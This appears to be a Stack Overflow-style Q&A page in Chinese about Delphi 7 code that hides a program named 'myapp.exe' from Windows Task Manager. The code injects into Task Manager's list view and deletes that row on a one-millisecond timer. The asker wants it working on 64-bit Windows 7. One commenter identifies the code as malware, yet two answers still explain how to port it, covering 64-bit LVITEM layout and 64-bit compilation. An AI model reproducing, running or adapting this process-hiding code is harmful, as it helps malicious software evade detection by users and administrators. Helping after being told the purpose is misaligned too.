2011-11-05 79 views
-5

我一直在Windows XP 32bit上使用此代碼用於我的應用程序。它工作得很好,但現在我遷移到Windows 7 64位,並停止工作。我如何在Windows 7上完成這項工作?我正在使用Delphi 7.任務管理器在Windows 7上隱藏處理器問題

program Project1; 

{$APPTYPE CONSOLE} 

uses 
    Windows, CommCtrl, dialogs , sysutils, classes; 

var 
myTimerHandle:WORD; 
msg:TMSG; 

Function Magchar(const S:string): string; 
var 
Ch: Char; 
L: Integer; 
Source, Dest: PChar; 
begin 
L := Length(S); 
SetLength(Result, L); 
Source := Pointer(S); 
Dest := Pointer(Result); 
while L <> 0 do 
begin 
Ch := Source^; 
if (Ch >= 'A') and (Ch <= 'Z') then 
Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L); 
end; 
end; 

Function CacheCache(_Processus:string):string; 
var 
dwSize, dwNumberOfBytes, PID, hProcess:Cardinal; 
PLocalShared, PSysShared:PlvItem; 
wnd: THandle; 
iCount, i: integer; 
szTemp:string; 

begin 
wnd := FindWindow('#32770',nil); 
wnd := FindWindowEx(wnd, 0, '#32770', nil); 
wnd := FindWindowEx(wnd, 0, 'SysListView32',nil); 
iCount := SendMessage(wnd, LVM_GETITEMCOUNT, 0, 0); 

for 
i := 0 to iCount -1 do 
begin 
dwSize := SizeOf(LV_ITEM) + SizeOf(CHAR) * MAX_PATH; 
pLocalShared := VirtualAlloc(nil, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE); 
GetWindowThreadProcessID(WND, @PID); 
hProcess := OpenProcess(PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE, FALSE, PID); 
pSysShared := VirtualAllocEx(hProcess, nil, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE); 

pLocalShared.mask := LVIF_TEXT; 
pLocalShared.iItem := 0; 
pLocalShared.iSubItem := 0; 
pLocalShared.pszText := LPTSTR(DWord(pSysShared) + SizeOf(LV_ITEM)); 
pLocalShared.cchTextMax := 100; 
WriteProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes); 

SendMessage(wnd, LVM_GETITEMTEXT, i, LPARAM(pSysShared)); 
ReadProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes); 
szTemp := PChar(DWord(pLocalShared) + SizeOf(LV_ITEM)); 
if Pos(_Processus, MagChar(szTemp)) > 0 then 
ListView_DeleteItem(wnd, i); 
VirtualFree(pLocalShared, 0, MEM_RELEASE); 
VirtualFreeEx(hProcess, pSysShared, 0, MEM_RELEASE); 
CloseHandle(hProcess); 
end; 
    end; 


procedure TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);stdcall; 
begin 
    CacheCache('myapp.exe'); 
end; 

procedure StartTimer(Interval:Dword); 
begin 
    MyTimerHandle:=SetTimer(0,0,Interval,@TimerProc); 
end; 

begin 


StartTimer(1); 
while (GetMessage(Msg,0,0,0)) Do 
begin 
TranslateMessage(Msg); 
DispatchMessage(Msg); 
end; 

    end. 
+2

這是什麼代碼應該做的?我們所知道的是,它不起作用,並且它曾經在Windows XP 32bit上工作。請編輯答案,告訴我們代碼應該做什麼,並請正確格式化。 –

+0

當你說它不起作用你是什麼意思?你有錯誤嗎? – bryanmac

+5

@Cosmin它是用來隱藏Windows任務管理器中的應用程序的惡意軟件。 –

回答

2

您的代碼是32位代碼,但目標進程是64位進程。這給了你兩個問題:

  1. 你的LVITEM聲明不再適用,因爲它所有的指針聲明在代碼32個的指針,但它們在目標進程的64個指針。您需要聲明自己的LVITEM版本才能解決該問題。使用64位編譯器來確保你得到的結構的填充和佈局正確。
  2. VirtualAllocVirtualAllocEx返回的值也是32位指針,但目標進程再次使用64位指針。我懷疑WOW64系統將盡力保留地址爲< 4GB,以便你的32位指針不會被截斷,但我不是100%確定的。我很想打電話VirtualAlloc請求一個特定的地址。
0

您正在向Win64進程發送32位GDI低級消息。

因此,LVITEM結構只是不匹配。

此代碼可能需要確定進程是否在64位,然後調整LVITEM結構來處理64位指針。

即使在這種情況下,我確信您無法從32位進程訪問64位內存。

IMHO的唯一解決方案是創建代替的Delphi 7.

在所有情況下一個64位的可執行文件(經由FPC或Delphi XE2),您的代碼是所謂的低級破解,它可能會斷裂與Windows的任何安全更新。我會檢查另一種實現預期的用戶界面行爲的方式(我們不清楚:隱藏一個listview項目?)。

+0

小點:在這裏沒有GDI,這是comctl32列表視圖消息。你的回答基本上與你年齡相符。但是,爲什麼你認爲在另一個進程中訪問內存在仿真和本地進程之間是不可能的?我看不出任何技術原因和文件來支持這一點。 –

+0

這意味着我需要首先安裝DELPHI XE2嗎?你有沒有可以在64位和32位上工作的解決方案? – user1023395

+0

@user我個人看不出有什麼理由說明你爲什麼試圖從32位處理過程中不可行 –